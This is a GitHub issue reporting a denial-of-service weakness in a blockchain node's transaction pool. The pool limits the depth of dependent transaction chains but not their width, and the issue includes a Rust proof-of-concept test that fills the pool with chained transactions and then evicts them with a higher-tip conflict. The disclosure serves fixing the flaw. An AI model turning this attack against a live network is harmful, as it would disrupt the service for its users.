-
Notifications
You must be signed in to change notification settings - Fork 2.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Transaction pool can be manipulated to do a lot of cleanups #2020
Comments
#[tokio::test]
async fn poc_incorrect_prune() {
let max_tx = 5;
let mut context = TextContext::default().config(Config {
max_tx,
..Default::default()
}); // set a low max_tx to easily demonstrate our point
let (_, gas_coin) = context.setup_coin();
let tx_benign = TransactionBuilder::script(vec![], vec![])
.tip(1)
.max_fee_limit(1)
.script_gas_limit(GAS_LIMIT)
.add_input(gas_coin)
.finalize_as_transaction();
let (_, gas_coin) = context.setup_coin();
let mut inputs = vec![];
let mut outputs = vec![];
for _ in 0..max_tx {
let input = context.random_predicate(AssetId::BASE, 1000000000, None);
let output = Output::variable(*input.input_owner().unwrap(), 0, AssetId::BASE);
inputs.push(UnsetInput(input));
outputs.push(output);
}
let tx_malicious_init = TransactionBuilder::script(vec![], vec![])
.tip(2)
.max_fee_limit(2)
.script_gas_limit(GAS_LIMIT)
.add_input(gas_coin)
.add_output(outputs[0])
.add_output(outputs[1])
.add_output(outputs[2])
.add_output(outputs[3])
.add_output(outputs[4])
.finalize_as_transaction();
let mut tx_malicious_fill = vec![];
for i in 0..max_tx {
let tx = TransactionBuilder::script(vec![], vec![])
.tip(100)
.max_fee_limit(100)
.script_gas_limit(GAS_LIMIT)
.add_input(inputs.remove(0).into_input(UtxoId::new(
tx_malicious_init.id(&Default::default()),
i.try_into().unwrap(),
)))
.finalize_as_transaction();
tx_malicious_fill.push(tx);
}
let mut txpool = context.build();
let tx_benign = check_unwrap_tx(tx_benign, &txpool.config).await;
txpool
.insert_single(tx_benign.clone())
.expect("tx_benign should be OK, got Err");
let tx_malicious_init = check_unwrap_tx(tx_malicious_init, &txpool.config).await;
txpool
.insert_single(tx_malicious_init)
.expect("tx_malicious_init should be OK, got Err");
for _ in 0..max_tx {
let tx = check_unwrap_tx(tx_malicious_fill.remove(0), &txpool.config).await;
txpool
.insert_single(tx)
.expect("tx_malicious_fill should be OK, got Err");
}
assert!(txpool.pending_number() == 0, "clear failed",);
} Example of the attack |
Open
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
The TxPool supports the feature that allows chain transactions and the use of uncommitted UTXOs.
We allow chaining up to
max_depth
dependent transactions. But we don't limit the width of the chain. Taking into account that it is possible to create a transaction with 255 outputs, and for each of these outputs, create another dependent transaction with 255 outputs and continue this process untilmax_depth
is reached.After setup the TxPool to have
255^max_depth
dependent transactions, the manipulator can insert conflicting transactions with higher tips to replace the first dependent transaction and cause cleanup of255^max_depth - 1
transactions.We need to limit dependent transactions on width as well.
The text was updated successfully, but these errors were encountered: